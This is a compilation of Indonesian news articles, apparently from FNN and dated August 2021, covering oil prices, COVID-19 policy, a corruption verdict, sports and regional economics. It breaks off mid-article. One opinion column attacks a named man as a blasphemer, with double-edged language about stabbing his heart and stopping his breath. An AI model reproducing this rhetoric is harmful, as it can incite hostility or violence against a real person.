New York, FNN - Harga minyak melonjak pada hari Senin, 23 Agustus 2021. Padahal, sehari sebelumnya, Ahad (22/8) terjadi penurunan harga yang tajam di tengah kekhawatiran atas permintaan. Minyak mentah West Texas Intermediate (WTI) untuk pengiriman Oktober 2021 naik 3,5 dolar AS, atau 5,6 persen, menjadi menetap di 65,64 dolar AS per barel di New York Mercantile Exchange. Minyak mentah Brent untuk pengiriman bulan yang sama naik 3,57 dolar, atau 5,5 persen, menjadi ditutup pada 68,75 dolar per barel di London ICE Futures Exchange. "Harga minyak memulai perdagangan pada pekan yang baru dengan kenaikan yang signifikan, setelah pekan yang sangat suram yang membuat Brent dan WTI turun masing-masing 8 persen dan 9 persen. Kerugian mingguan paling substansial dalam hampir sepuluh bulan," kata Carsten Fritsch, analis energi di Commerzbank Research, sebagaimana dikutip dari Antara. Untuk pekan yang berakhir Jumat, patokan minyak mentah AS jatuh 8,9 persen, sementara Brent merosot 7,7 persen. "Kami menganggap pelemahan harga tersebut berlebihan. Kami percaya hal itu lebih berkaitan dengan psikologi pelaku pasar ketimbang penurunan data fundamental," kata Fritsch. Ia menjelaskan, dalam beberapa minggu mendatang akan terungkap apakah pembatasan perjalanan yang diberlakukan kembali di beberapa negara Asia-Pasifik, “akan benar-benar berdampak pada permintaan bahan bakar seperti yang ditunjukkan oleh kinerja harga minggu lalu." (MD).

Menkes Kemukakan 3 Strategi Hidup Berdampingan dengan Epidemi Covid-19

Jakarta, FNN - Menteri Kesehatan RI Budi Gunadi Sadikin mengemukakan tiga strategi hidup berdampingan bersama epidemi COVID-19 yang bertujuan untuk menyeimbangkan kehidupan yang sehat serta bermanfaat secara ekonomi. "Untuk hidup bersama epidemi ada beberapa arahan Bapak Presiden Joko Widodo yang perlu segera kami tindak lanjuti," kata Budi Gunadi Sadikin saat hadir secara virtual menyampaikan keterangan pers melalui YouTube Sekretariat Presiden yang dipantau dari Jakarta, Senin malam. Budi mengatakan strategi tersebut menyasar sejumlah sektor kebijakan, di antaranya protokol kesehatan berbasis teknologi informasi, testing dan tracing serta perawatan. Pada sektor protokol kesehatan, kata Budi, hal terpenting adalah perilaku disiplin masyarakat dalam menyikapi pembukaan sejumlah akses ruang publik secara bertahap di perkotaan. "Kami sudah bekerja sama dengan beberapa asosiasi dan beberapa perkumpulan untuk mulai menyusun protokol kesehatan berbasis teknologi informasi," katanya. Teknologi yang dimaksud adalah aplikasi PeduliLindungi yang akan dipakai secara nasional untuk membantu menjaga implementasi protokol kesehatan berbasis teknologi informasi. Ia mengatakan protokol kesehatan tersebut diimplementasikan pada aktivitas perdagangan modern maupun tradisional, transportasi darat, laut, udara, tempat kerja seperti industri maupun perkantoran. Selain itu, aplikasi PeduliLindungi juga diterapkan pada aktivitas pariwisata seperti pertandingan sepak bola atau konser musik, juga kuliner dan restoran. "Protokol kesehatan juga digunakan di bidang pendidikan, baik SD, SMP, SMA, universitas, serta protokol kesehatan yang paling penting di acara atau hari keagamaan, ritual-ritual keagamaan yang tiap minggu atau hari raya besar," katanya. Budi mengatakan strategi kedua adalah kegiatan pengetesan dan penelusuran yang akan diperkuat secara terarah, sehingga tepat sasaran. "Nanti pengetesan dan penelusuran ini harus terarah. Tidak secara massal, benar-benar yang butuh atau istilahnya para ahli kesehatan adalah pengetesan epidemiologi, bukan pengetesan untuk skrining," katanya. Strategi pengetesan yang dilakukan, kata Budi, mengarah pada suspek dan orang dengan kontak erat yang bergejala. "Bukan semua orang dites karena mau melakukan aktivitas tertentu," katanya. Strategi ketiga, kata Budi, adalah perawatan atau terapeutik pada pasien COVID-19 di seluruh fasilitas pelayanan kesehatan. "Bapak Presiden memberikan arahan secara spesifik bahwa nantinya harus ada perawatan untuk layanan primer isolasi dengan pengobatan-pengobatan dasar. Sehingga, rumah sakit hanya diisi dengan kasus-kasus kritis dan berat," ujarnya. Ia mengatakan Kemkes juga melakukan kajian untuk memfokuskan perawatan pasien kritis bergejala berat di rumah sakit serta mengurangi tingkat kematian yang saat ini masih relatif tinggi. "Kita mendorong layanan primer, baik di Puskesmas atau klinik untuk merawat orang-orang yang hanya perlu isolasi atau pengobatan ditahap dasar," katanya. (sws)

PPKM Luar Jawa Bali Hingga 6 September 2021

Jakarta, FNN - Menteri Koordinator Bidang Perekonomian Airlangga Hartarto menyampaikan penerapan PPKM di luar Jawa Bali diperpanjang hingga 6 September 2021 dan akan dievaluasi setiap 2 minggu sekali. “Seluruh detailnya, jumlah kabupaten kotanya akan ada dalam instruksi Mendagri,” kata Menko Airlangga dalam konferensi pers Evaluasi dan Penerapan PPKM secara daring di Jakarta, Senin. Menko Airlangga menyampaikan evaluasi penerapan PPKM di luar Jawa Bali, sesuai arahan Presiden, dibedakan untuk evaluasi PPKM di Jawa Bali yang dilakukan setiap seminggu sekali, “Luar Jawa Bali mencakup wilayah yang sangat luas dan juga mencakup tiga waktu, yaitu Indonesia barat, tengah dan timur. Oleh karena itu bapak Presiden memberi arahan yang berbeda antara Jawa dan luar Jawa,” ujar Airlangga. Airlangga menyampaikan bahwa perkembangan kasus aktif COVID-19 di luar Jawa Bali mengalami penurunan dan dari sisi level assement mulai membaik. “Terkait dengan level assessment yang sedikit membaik dan seperti yang disampaikan Bapak Presiden level 4 itu dari 11 turun menjadi 7 provinsi,” ungkapnya. Ia merinci, level 4 dari 132 kabupaten/kota menjadi 104 kabupaten/kota. Level 3, dari 215 kabupaten/kota menjadi 234 kabupaten /kota dan Level 2 dari 39 kabupaten/kota menjadi 48 kabupaten/kota. Selain itu juga terdapat kecenderungan penurunan mobilitas di Level 4 selama periode 10-23 Agustus. Dikarenakan ada perbaikan disejumlah indikator, pemerintah kembali melakukan penyesuaian pengaturan untuk penerapan PPKM Level 4 di luar Jawa Bali. Perkantoran diizinkan beroperasi dengan kapasitas 25 persen dan akan ditutup selama 5 hari jika terjadi kluster COVID-19. Kemudian, tempat ibadah dibuka dengan kapasitas 25 persen untuk maksimal 30 orang, restoran dan tempat makan dengan katerisian 25 persen dan maksimal 2 oran per meja serta jam operasional hingga pukul 20.00. “Terkait mal sampai jam 20.00 dan masih 50 persen (kapasitas) dengan prokes dan diatur dalam Pemda,” jelasnya. Ia juga menegaskan bahwa aplikasi Peduli Lindungi akan menjadi prasyarat untuk berkegiatan atau sebagai syarat masuk ke mal atau perkantoran. (sws)

Asia Tenggara Mencetak Angka Kematian Tertinggi di Dunia Akibat COVID-19

Jakarta, FNN - Asia Tenggara mencetak angka kematian tertinggi di dunia akibat COVID-19 varian Delta dan distribusi vaksin global yang tidak menyeluruh, kata Federasi Palang Merah Internasional dan Bulan Sabit Merah (IFRC). Hal itu disampaikan IFRC dalam keterangan tertulis yang diterima ANTARA di Jakarta pada Senin. IFRC menyatakan bahwa lonjakan kasus COVID-19 berdampak pada kapasitas rumah sakit di Vietnam, Malaysia, hingga Myanmar yang disebabkan peningkatan kekhawatiran pada angka kematian yang mungkin akan melonjak karena penyebaran virus yang pesat di area perkotaan. Menurut data dari John Hopkins University, Asia Tenggara dalam dua minggu terakhir mencatat sekitar 38.522 kematian akibat COVID-19. "Kenaikan kasus COVID-19 di Asia Tenggara terjadi karena varian Delta yang mengakibatkan orang kehilangan banyak anggota keluarga secara tragis dan ini masih akan berlanjut," kata Direktur Asia Pasifik IFRC Alexander Matheou. Matheou mengaku khawatir dengan penyebaran virus di wilayah Asia Tenggara yang terjadi mulai dari perkotaan hingga pedesaan akan mengakibatkan lagi banyak nyawa yang hilang karena distribusi vaksin yang belum merata. "Tingkat vaksinasi di Asia Tenggara sudah optimal di beberapa negara akan tetapi masih banyak negara yang memiliki tingkat vaksinasi yang rendah. Hal ini sangat jauh dibandingkan dengan negara-negara di Eropa Barat dan Amerika Serikat," ujarnya. Menurut Our World in Data Universitas Oxford, Kanada dan Spanyol telah menvaksin sekitar 64 persen populasinya lalu diikuti dengan Inggris sekitar 60 persen dari populasinya. Sementara itu, di Asia Tenggara, Malaysia baru memvaksin sekitar 34 persen populasinya, Filipinia 11 persen, dan Vietnam dengan tingkat vaksinasi kurang dari 2 persen. Kemudian di Indonesia sekitar 57 juta dari populasinya telah mendapat vaksin pertama dan 31 juta telah divaksin penuh, berdasarkan data per 18 Agustus 2021. Vietnam dan Thailand merupakan negara-negara yang mencatat jumlah kasus COVID-19 dan angka kematian tertinggi akibat infeksi virus corona di Asia Tenggara. Di Indonesia, pemerintah mencatat sekitar 100.000 kematian akibat COVID-19 pada 22 Agustus 2021. Sebanyak 7 dari 10 negara yang mengalami tingkat kematian tertinggi akibat COVID-19 berada di Asia dan Pasifik. Vietnam, Fiji, dan Myanmar menduduki peringkat kelima tertinggi, menurut Our World in Data Universitas Oxford. "Kita harus mengupayakan agar negara-negara yang memilliki dosis vaksin berlebih untuk dapat membantu distribusi dosis vaksin ke negara-negara di Asia Tenggara. Kita juga membutuhkan dukungan dari pemerintah dan produsen vaksin untuk meningkatkan kapasitas produksi dan teknologi," kata Matheou. "Beberapa minggu ke depan adalah masa kritis untuk meningkatkan perawatan, pemeriksaan, serta vaksinasi di Asia Tenggara dengan menargetkan 70-80 persen tingkat vaksinasi jika ingin menang melawan varian-varian baru dan pandemi global ini," tambahnya. Hingga tingkat vaksinasi berada pada angka yang optimal maka upaya melanjutkan peningkatan kesadaran terkait implementasi protokol kesehatan sangatlah penting. IFRC merupakan jaringan kemanusiaan terbesar yang terdiri dari 192 Perhimpunan Nasional Palang Merah dan Bulan Sabit Merah yang memiliki tugas utama untuk meningkatkan taraf hidup dan mempromosikan martabat serta integritas di dunia. (sws)

Bamusi: Ceramah Gus Baha Mengulas Peran Kyai Dalam Merebut Kemerdekaan

Jakarta, FNN - Organisasi sayap PDI Perjuangan, Baitul Muslimin Indonesia (Bamusi) menilai ada pihak yang sengaja "menggoreng" atau memelintir ceramah KH Bahaudin Nursalim (Gus Baha) untuk politik adu domba dan membenturkan kaum nasionalis dan kaum santri. Sekretaris Umum PP Bamusi KH Nasyirul Falah Amru atau yang akrab disapa Gus Falah dalam siaran persnya, di Jakarta, Senin, mengungkapkan, ceramah Gus Baha secara komprehensif mengulas sejarah perjuangan mulai sejak 1908 (Budi Utomo), kemudian HOS Tjokroaminoto hingga Bung Karno dan para kiai kala itu. "Ceramah Gus Baha secara terang benderang mengungkap proses perjuangan mulai dari Budi Utomo. Embrio dari bangsa Indonesia, yang kemudian kemerdekaannya diproklamirkan tanggal 17 Agustus 1945 merupakan kristalisasi dari perjuangan yang berkesinambungan," kata Gus Falah. Menurut Gus Falah, apa yang disampaikan oleh Gus Baha soal peran perjuangan para kiai dan tokoh Islam juga selalu digelorakan oleh Ketua Umum PDI Perjuangan Hj Megawati Soekarnoputri serta tokoh PDI Perjuangan lainnya. Bahkan, lanjut dia, Bamusi PDI Perjuangan mendapatkan penugasan khusus untuk menyampaikan sejarah dalam berbagai sosialisasi dan pendidikan politik mengenai perjuangan para kiai bersama Bung Karno dan pejuang lainnya. "Maka, atas jasa dan peran para kiai, PDI Perjuangan berada di garda terdepan dalam usulan dan memperjuangkan ditetapkannya Hari Santri Nasional, yang itu tak lepas dari Resolusi Jihad hasil istikharoh para kiai kala itu dalam rangka perjuangan melawan penjajahan," ujar Anggota Komisi VII DPR dari Frakso PDI Perjuangan ini. Gus Falah menjelaskan, sejarah Bung Karno yang merupakan santri dari HOS Tjokroaminoto dan juga kebiasaan Bung Karno berkonsultasi kepada KH Hasim Asy'ari perlu dijadikan teladan bagi generasi saat ini untuk membangun kesadaran bahwa bangsa ini berdiri dan dibangun dari kebersamaan. Hal lain yang juga perlu diketahui publik sebagai sejarah adalah bagaimana komitmen perjuangan Bung Karno pada dunia Islam. Seperti perannya dalam menemukan makam perawi hadits Imam Bukhari, difungsikannya kembali Masjid Biru di Rusia, mencegah penutupan kampus Al-Azhar Kairo, serta mengirimkan Pohon Mindi untuk ditanam di Padang Arafah yang kini dikenal dengan sebutan Pohon Soekarno. Bung Karno juga menunjukkan konsitensinya dalam mendukung Kemerdekaan Palestina serta membantu perjuangan Kemerdekaan Aljazair. Oleh karena itu, Gus Falah mengajak publik untuk tidak mudah disulut dan terprovokasi politik adu domba dengan "menggoreng" ceramah Gus Baha yang dikutip secara tidak lengkap dengan kepentingan untuk mendistorsi sejarah. "Gus Baha adalah ulama yang ceramahnya sangat teduh, seperti juga guru beliau, almarhum KH Maemun Zubaer. Ceramahnya selalu dibanggakan oleh Megawati dan PDI Perjuangan karena merupakan ulama pemersatu umat," jelas Gus Falah. Hubungan dan kebersamaan kaum nasionalis dan santri itulah, lanjut Gus Falah, yang sekarang secara konsisten dilanjutkan oleh PDI Perjuangan. Seperti saat Pilkada Jawa Tengah 2018 lalu, Megawati secara khusus berkonsultasi dengan Mbah Moen untuk berkenan merestui putranya, KH Taj Yasin Maemun dicalonkan bersama Ganjar Pranowo. "Bahkan, seperti sudah kita ketahui bersama, Mbah Moen dan Ibu Megawati juga ada pertemuan khusus beberapa hari sebelum Mbah Moen berangkat haji ke Tanah Suci pada 2019 lalu," tuturnya. Dengan begitu lekatnya hubungan PDI Perjuangan serta Megawati bersama para kiai dan kaum santri, Gus Falah berharap publik bisa jernih dalam menyikapi adanya upaya politik adu domba dan provokasi yang memanfaatkan penggalan atau potongan ceramah Gus Baha. (sws)

Koruptor Bansos Juliari Batubara Divonis 12 Tahun Penjara

Jakarta, FNN - Mantan Menteri Sosial Juliari Batubara divonis 12 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan karena terbukti menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako COVID-19 di wilayah Jabodetabek. "Menyatakan, terdakwa Juliari Batubara telah terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi yang dilakukan secara bersama-sama secara berlanjut sebagaimana dakwaan alternatif pertama. Menjatuhkan pidana terhadap terdakwa tersebut dengan pidana penjara selama 12 tahun dan denda sejumlah Rp500 juta dengan ketentuan bila denda tidak dibayar diganti pidana kurungan selama 6 bulan," kata ketua majelis hakim Muhammad Damis di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Vonis tersebut lebih berat dibanding tuntutan Jaksa Penuntut Umum (JPU) KPK yang meminta agar Juliari Batubara divonis 11 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan. Juliari juga diminta untuk membayar uang pengganti sejumlah Rp14.597.450.000. "Menghukum terdakwa untuk membayar uang pengganti sejumlah Rp14.597.450.000. Bila terdakwa tidak membayar uang pengganti tersebut dalam waktu satu bulan setelah putusan pengadilan memperoleh kekuatan hukum tetap, maka harta bendanya akan disita oleh jaksa dan dilelang untuk menutupi uang pengganti tersebut. Dalam hal terpidana tidak mempunyai harta benda yang mencukupi untuk membayar uang pengganti maka dipidana penjara selama 2 tahun," tambah hakim. Majelis hakim juga memutuskan agar Juliari dicabut hak politiknya dalam periode tertentu. "Menetapkan pidana tambahan terhadap terdakwa berupa pencabutan hak untuk dipilih dalam jabatan publik selama 4 tahun sejak terdakwa selesai menjalani pidana pokoknya," ungkap hakim Damis. Dalam perkara ini Juliari P Batubara selaku Menteri Sosial RI periode 2019-2024 dinyatakan terbukti menerima uang sebesar Rp1,28 miliar dari Harry Van Sidabukke, sebesar Rp1,95 miliar dari Ardian Iskandar Maddanatja serta uang sebesar Rp29,252 miliar dari beberapa penyedia barang lain. Tujuan pemberian suap itu adalah karena Juliari menunjuk PT Pertani (Persero) dan PT Mandala Hamonangan Sude yang diwakili Harry Van Sidabukke, PT Tigapilar Agro Utama yang diwakili Ardian Iskandar serta beberapa penyedia barang lainnya menjadi penyedia dalam pengadaan bansos sembako. Uang suap itu diterima dari Matheus Joko Santoso yang saat itu menjadi Pejabat Pembuat Komitmen (PPK) pengadaan bansos sembako periode April-Oktober 2020 dan Adi Wahyono selaku Kabiro Umum Kemensos sekaligus PPK pengadaan bansos sembako COVID-19 periode Oktober-Desember 2020. Hakim menilai Juliari terbukti memerintahkan Matheus Joko dan Adi Wahyono untuk meminta "commitment fee" sebesar Rp10 ribu per paket kepada perusahaan penyedia sembako. "Perbuatan terdakwa telah merekomendasikan dan mengarahkan perusahaan penyedia bansos sembako COVID-19 adalah bentuk intervensi sehingga tim teknis tidak bisa bekerja normal dan tidak melakukan seleksi di awal proses meski perusahaan tidak memenuhi kualifikasi sebagai penyedia," ungkap anggota majelis Joko Subagyo. Uang "fee" sebesar Rp14,7 miliar sudah diterima oleh Juliari dari Matheus Joko dan Adi Wahyono melalui perantaraan orang-orang dekat Juliari yaitu tim teknis Mensos Kukuh Ary Wibowo, ajudan Juliari bernama Eko Budi Santoso dan sekretaris pribadi Juliari Selvy Nurbaity. Matheus Joko dan Adi Wahyono kemudian juga menggunakan "fee" tersebut untuk kegiatan operasional Juliari selaku mensos dan kegiatan operasional lain di Kemensos seperti pembelian ponsel, biaya tes "swab", pembayaran makan dan minum, pembelian sepeda Brompton, pembayaran honor artis Cita Citata, pembayaran hewan kurban hingga penyewaan pesawat pribadi. (sws)

Nasihatilah Pak Kece Sampai Dia Berhenti Melecehkan Agama

By Asyari Usman ORANG yang mengaku bernama Muhammad Kece, si penista agama, penista Allah SWT, penista Quran, penista Nabi, harus terus diberi nasihat. Berilah dia nasihat sampai Pak Kece berhenti menista. Sampai dia tertunduk diam. Sampai dia memasuki alam sadar yang membuat dia menyesal. Yang memberikan nasihat tidak harus ulama atau ustad besar. Siapa saja boleh. Yang penting, nasihat yang diberikan haruslah tajam dan bisa menusuk sampai ke jantung kesadarannya. Yang bisa mematikan nafsu Pak Kece untuk menista agama Islam. Syaraf kebenciannya kepada Islam, terutama kepada Nabi SAW, mestilah diacak-acak dengan nasihat-nasihat yang tajam itu. Sampai dia insaf. Sampai dia merasa hatinya hancur berkeping-keping karena telah melakukan perbuatan yang sangat tercela. Kalau begitu, apakah diperlukan seseorang yang sangat pandai berceramah? Bisa jadi iya. Bisa tidak. Tetapi, yang lebih tepat untuk memberikan nasihat itu adalah orang-orang yang paham cara menusuk jantung kesadarannya. Yang tahu cara mematikan nafsu penistaan di dalam diri Pak Kece. Jangan pernah bosan menasihati si penista. Sebab, beliau sudah sangat melampaui batas. Sudah ratusan video pelecehan dan penghinaan yang diunggahnya. Artinya, Pak Kece benar-benar memerlukan nasihat yang bisa melenyapkan sumber utama penistaan di dalam dirinya. Sumber utama penistaan itu adalah pikiran kotornya tentang Islam. Pikiran kotor beliau setiap saat memproduksi narasi dan diksi penghinaan terhadap Islam, terhadap Quran, dan terhadap Nabi SAW. Pikiran kotor yang menjadi pabrik penghinaan dan penistaan itu, didukung oleh nafas jahat yang setiap saat keluar dari mulut Pak Kece. Nafas jahat ini berfungsi sebagai corong penistaan. Karena itu, nafas jahat penisataan tsb mutlak harus dihentikan supaya pelecehan Islam tak berlanjut. Setelah nafas jahat tadi dihentikan, niscaya nafas baik yang akan keluar dari mulut Pak Kece. Dengan nasihat yang menusuk jantung kesadarannya dan mematikan nafsu penistaannya, in-sya Allah Pak Kece akan memahami bahwa perbuatannya sangat menyakitkan bagi ratusan juta orang. Semoga dengan tusukan nasihat tajam itu, Indonesia tidak lagi memiliki penista agama Islam.[] (Penulis Wartawan Senior)

Timnas BMX Junior Buat Sejarah dengan Tembus Semifinal Kejuaraan Dunia

Jakarta, FNN - Dua dari empat atlet tim nasional BMX junior Indonesia mencetak sejarah dengan menembus babak semifinal dalam Kejuaraan Dunia BMX di Papendal, Belanda pada 21-22 Agustus 2021. Kedua atlet tersebut adalah Jasmine Azzahra dan Amellya Nur Sifa. Namun, baik Jasmine Azzahra maupun Amellya Nur Sifa belum mampu bersaing di babak final setelah keduanya gagal menempati posisi pertama saat semifinal. Dalam laga semifinal yang berlangsung Minggu (22/8), Jasmine menempati posisi keenam dari delapan peserta yang tergabung dalam Heat 1. Sedangkan Amellya finis di urutan kedelapan Heat 2, demikian catatan resmi Federasi Balap Sepeda Internasional (UCI). Hasil tersebut menjadi catatan sejarah bagi Indonesia sebagai satu-satunya negara Asia yang meloloskan atlet junior putri ke semifinal Kejuaraan Dunia. Sementara itu, dua atlet putra timnas BMX junior, yakni Aditya Putu dan Alfauzan kandas sejak babak penyisihan. Adapun gelar juara kelas men dan women junior masing-masing direbut oleh pebalap Prancis Louison Rousseau dan Mariane Beltrado. Di kelas elite, podium utama Kejuaraan Dunia di Papendal diraih oleh pebalap Inggris Raya Bethany Shriever dan pebalap tuan rumah Niek Kimmann yang sebelumnya memenangi medali emas di Olimpiade Tokyo. Usai Kejuaraan Dunia, timnas BMX junior tidak akan langsung pulang ke Tanah Air. Mereka akan bermukim selama tiga tahun di Belanda untuk melanjutkan program pelatihan (staycamp) demi mengumpulkan poin supaya lolos kualifikasi Olimpiade 2024 Paris. Belanda dipilih sebagai tempat pelatihan karena merupakan salah satu negara terbaik di dunia untuk balap sepeda. Pada Olimpiade Tokyo 2020, Negeri Kincir Angin itu meraih medali perunggu di kategori BMX putri dan medali emas BMX putra hanya dengan berlatih di sirkuit supercross mereka di Papendal. Selain berlatih di Belanda, para atlet Indonesia juga diagendakan mengikuti berbagai kejuaraan BMX di Eropa, mulai dari kejuaraan level C1 Series, European Series, hingga World Cup dan World Championships. (mth)

Australia Siap Bantu Evakuasi Kalau AS Masih Berada di Afghanistan

Canberra, FNN - Australia siap membantu evakuasi dari Afghanistan sesudah 31 Agustus apabila Amerika Serikat memutuskan untuk menunda penarikan pasukannya, kata Menteri Luar Negeri Marise Payne pada Senin. Presiden AS Joe Biden pekan lalu mengatakan pasukan AS kemungkinan bertahan di Afghanistan hingga melewati batas waktu 31 Agustus untuk mengevakuasi warga Amerika. Australia sendiri telah mengevakuasi sekitar 1.000 warganya dan warga negara Afghanistan dari Kabul dalam sepekan terakhir. Payne menyatakan Australia siap mendukung penerbangan penyelamatan lebih lanjut. "Kami menjadi bagian dari pembahasan itu dan jika evakuasi diperpanjang, kami pastinya siap mendukung operasi lanjutan di Bandara Internasional Hamid Karai," kata Payne kepada wartawan di Canberra. Payne tidak menjelaskan secara spesifik apakah 250 personel militer yang diterjunkan oleh Australia akan tetap bertahan jika evakuasi diperpanjang. Pemerintah Australia berada di bawah tekanan untuk mempercepat penyelamatan warga negara Australia, juga para warga Afghanistan yang bekerja untuk negara tersebut selama dua kekade keterlibatan Australia di Afghanistan. Namun, Perdana Menteri Scott Morrison memperingatkan bahwa Australia sepertinya tidak dapat membantu semua warga Afghanistan yang telah memberikan bantuan. Australia menawarkan 3.000 visa untuk warga Afghanistan --yang pergi menyelamatkan diri-- dari program visa kemanusiaan Australia sebanyak 13.750 per tahun. Australia menjadi bagian dari pasukan internasional pimpinan NATO yang memerangi Taliban dan melatih pasukan keamanan Afghanistan selama bertahun-tahun setelah kelompok itu digulingkan pada 2001. Lebih dari 39.000 personel militer Australia bertugas di Afghanistan dan 41 personel di antaranya tewas di negara tersebut. (mth)

Menparekraf Ajak PHRI Garut Siap Sambut 'Serangan Pariwisata'

Jakarta, FNN - Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno mengajak pelaku industri pariwisata dan ekonomi kreatif, khususnya Perhimpunan Hotel dan Restoran Indonesia (PHRI) Garut untuk bersiap menyambut serangan pariwisata (Revenge Tourism) ketika level PPKM dilonggarkan. Saat berdiskusi dengan PHRI Garut di Rancabago Hotel and Resort Kabupaten Garut, Jawa Barat, Minggu (22/8), dijelaskan adanya pembatasan sosial membuat masyarakat jenuh, ungkap Sandiaga dalam keterangan tertulis di Jakarta, Senin. “Stakeholder (pemangku kepentingan) pariwisata dan ekonomi kreatif, khususnya PHRI, harus dapat mempersiapkan diri menerima kunjungan wisatawan yang sangat masif nantinya,” katanya. Seperti di India, lanjut Sandiaga, setelah lockdown terjadi serangan pariwisata yang membuat semua penerbangan habis, okupansi hotel penuh bahkan kelebihan permintaan sebesar 40 persen. Hal itu dinyatakan membuat banyak wisatawan yang kecewa. Kejadian itu dapat terjadi di Garut, ucapnya, lantaran berbagai destinasi di sana bisa dicapai dengan menggunakan transportasi darat dari Jakarta selama kurang lebih tiga jam. Beberapa waktu lalu para pelaku parekraf di Garut mengibarkan bendera putih sebagai tanda mereka membutuhkan keberpihakan pemerintah untuk hadir dan membantu di tengah pandemi COVID-19. Sandiaga menjelaskan, tidak ada satupun orang yang mengetahui secara pasti kapan pandemi akan berakhir. “Berdasarkan data yang kami himpun, diprediksi akhir September 2021 angka COVID-19 akan melandai. Hal itu sembari kita menyiapkan protokol kesehatan dengan upaya percepatan vaksinasi,” katanya. Menparekraf menerangkan bahwa semua peluang yang ada harus dimaksimalkan dan tantangan harus dapat dilewati serta diantisipasi dampak negatifnya. Karena itu, diperlukan dukungan dan kerja sama dari unsur pentahelix parekraf agar berbagai upaya yang ditempuh pemerintah dalam menyelamatkan sektor pariwisata dapat menemui titik terang. Selain vaksinasi COVID-19 yang saat ini terus diakselerasi oleh pemerintah, disebutkan bahwa penerapan protokol kesehatan berbasis Cleanliness (Kebersihan), Health (Kesehatan), Safety (Keamanan), dan Environment Sustainability (Kelestarian Lingkungan) atau CHSE yang ketat dan disiplin juga harus menjadi perhatian. Terlebih, tren pariwisata ke depan polanya dikatakan akan beradaptasi kepada pariwisata yang personalize, customize, localize, dan smaller in size. “Pelajaran yang kita ambil, sejauh ini kita selalu bicara destinasi yang berkelas dunia mengharapkan wisatawan mancanegara bersaing dengan Thailand, Malaysia dari segi jumlah kunjungannya. Tapi ternyata permata di depan kita dilupakan, yaitu wisatawan nusantara yang menghabiskan 11 miliar dolar AS tiap tahun yang berwisata ke luar negeri,” kata Sandiaga. (mth)

BUMDes Rebo Tanjungkarang Bangka Kembangkan Garamnon Yodium

Sungailiat, Bangka, FNN - Badan Usaha Milik Desa (BUMDes) Rebo Tanjungkarang, Desa Rebo Bangka Provinsi Kepulauan Bangka Belitung berhasil mengembangkan pembuatan garam non yodium. Pembina BUMDes Tanjungkarang Bangka, Fendi di Sungailiat Senin mengatakan, pengembangan garam non yodium guna memenuhi kebutuhan pasar bagi pengusaha pengolahan ikan asin dan pemenuhan pupuk di sektor pertanian atau perkebunan. Garam non yodium adalah garam dengan kualitas premium karena diproses menggunakan teknologi refinasi, sehingga menghasilkan garam refined dengan kualitas putih, bersih, kering dan higienis. "Pengembangan usaha garam non yodium dengan pertimbangan bahan baku yang melimpah dan pemasaran yang masih cukup luas selain juga persaingan belum begitu ketat," jelasnya. Meskipun masih dalam tahap awal pengembangan dengan kemampuan produksi masih terbatas atau kurang lebih 100 kilogram per minggu, tetapi ke depan diperkirakan mampu memproduksi lebih banyak. "Dengan keterbatasan sarana yang tersedia saat ini, produksi garam hanya mampu kurang lebih 100 kilogram pe rminggu, sekarang kami sedang melakukan pembangunan sarana yang lebih memadai agar mampu meningkatkan produksi," jelasnya. Masyarakat yang dipercaya untuk mengembangkan pembuatan garam sudah mendapat pelatihan dari lembaga perguruan tinggi. "Sumber daya manusia yang membuat garam sudah tersedia dan kualitas garam yang dihasilkan sudah layak untuk kebutuhan pengasinan ikan dan pertanian," ujarnya. Waktu pembuatan garam dipengaruhi oleh kondisi cuaca saat itu, jika dalam kondisi cuaca panas air laut cepat mengkristal untuk menjadi garam begitu pula sebaliknya. (mth)

Ratusan Pelamar CPNS Kabupaten Ogan Komering Ulu Ajukan Sanggahan

Baturaja, FNN - Ratusan pelamar Calon Pegawai Negeri Sipil (CPNS) di Kabupaten Ogan Komering Ulu (OKU), Sumatera Selatan (Sumsel) mengajukan sanggahan karena tidak lolos tahap administrasi. Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) OKU Mirdaili, di Baturaja, Senin, menerangkan bahwa rekrutmen CPNS tahun 2021 di daerah ini memasuki tahapan masa sanggah administrasi yang dilakukan secara daring. Dalam masa sanggahan tersebut, tercatat sebanyak 500 pelamar dari berbagai formasi mengajukan sanggahan karena tidak lolos administrasi. "Ada sekitar 500 pelamar yang mengajukan sanggahan," katanya pula. Ratusan pelamar yang tidak lolos seleksi administrasi tersebut, sebagian besar disebabkan karena kesalahan saat mengunggah ijazah. Saat melengkapi berkas pendaftaran CPNS, kata dia, pelamar hanya mengupload ijazah bagian depan saja, sedangkan lembaran bagian belakang tidak dilampirkan. "Untuk hasil sanggahan masih menunggu petunjuk dari BKN Pusat," ujarnya. Mirdaili menambahkan, dalam perekrutan pegawai tahun ini Kabupaten OKU mendapat kuota sebanyak 322 CPNS dan PPPK tahun 2021 yang resmi dibuka hingga 16 Juli 2021 secara online di portal htt://sscasn.bkn.go.id. Adapun rekapitulasi Formasi CPNS dan PPPK tahun 2021 meliputi PPK guru sebanyak 119 orang, tenaga kesehatan CPNS 64 orang, dan PPK kesehatan 86, tenaga teknis CPNS 49 serta tenaga teknis PPK 14 orang. (mth)

Harga Lada di Tanjung Pandan Naik Menjadi Rp92 Ribu per Kilogram

Belitung, Babel, FNN - Harga lada di Tanjung Pandan, Kabupaten Belitung, Provinsi Kepulauan Bangka Belitung, naik dari Rp90 ribu perkilogram menjadi Rp92 ribu kilogram. Kepala Bidang Perkebunan Dinas Ketahanan Pangan dan Pertanian (DKPP) Belitung, Hamzah di Tanjung Pandan, Senin mengatakan memasuki akhir musim panen tren harga lada di daerah itu terus mengalami kenaikan dari Rp90 ribu menjadi Rp92 ribu perkilogram. "Kenaikan harga lada karena dipengaruhi oleh mulai meningkatnya permintaan pasar untuk kebutuhan masyarakat," katanya. Menurut dia, puncak musim panen lada di daerah itu berlangsung hingga akhir Agustus sehingga sebagian besar petani saat ini dipastikan telah selesai memanen tanaman ladanya. "Masih tersisa beberapa petani saja yang saat ini masih memanen tanaman lada," ujarnya. Hamzah menambahkan, secara keseluruhan musim panen lada di daerah itu berjalan dengan lancar meskipun terjadi penurunan produksi akibat cuaca yang tidak menentu. "Saat ini produksi lada sementara yang telah tercatat pada musim panen sekarang sebanyak 3.100 ton," 